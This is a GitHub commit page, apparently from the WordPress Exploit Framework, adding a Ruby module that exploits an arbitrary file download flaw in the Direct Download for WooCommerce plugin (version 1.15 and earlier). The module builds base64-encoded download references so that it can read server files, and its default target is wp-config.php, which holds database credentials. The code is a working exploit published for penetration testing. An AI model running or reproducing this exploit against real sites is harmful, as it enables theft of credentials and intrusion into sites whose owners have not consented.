Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 6cdce12

Browse files
committed
Add Direct Download for WooCommerce file download
1 parent f834979 commit 6cdce12

File tree

1 file changed

+58
-0
lines changed

1 file changed

+58
-0
lines changed
Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
class Wpxf::Auxiliary::DirectDownloadForWoocommerceFileDownload < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Direct Download for WooCommerce <= 1.15 File Download',
9+
author: [
10+
'Diego Celdran Morell', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8724']
15+
],
16+
date: 'Jan 17 2017'
17+
)
18+
19+
register_options([
20+
IntegerOption.new(
21+
name: 'product_id',
22+
desc: 'A valid product ID that has direct download enabled',
23+
required: true
24+
)
25+
])
26+
end
27+
28+
def check
29+
url = normalize_uri(full_uri, 'direct-download', Utility::Text.rand_alpha(5))
30+
res = execute_get_request(url: url)
31+
return :vulnerable if res && !validate_content(res.body)
32+
:unknown
33+
end
34+
35+
def product_id
36+
normalized_option_value('product_id')
37+
end
38+
39+
def default_remote_file_path
40+
'wp-config.php'
41+
end
42+
43+
def working_directory
44+
'the WordPress installation directory'
45+
end
46+
47+
def download_ref
48+
Base64.strict_encode64("#{product_id}|#{remote_file}")
49+
end
50+
51+
def downloader_url
52+
normalize_uri(full_uri, 'direct-download', download_ref)
53+
end
54+
55+
def validate_content(content)
56+
content !~ /This product is not available for direct free download/
57+
end
58+
end

0 commit comments

Comments
 (0)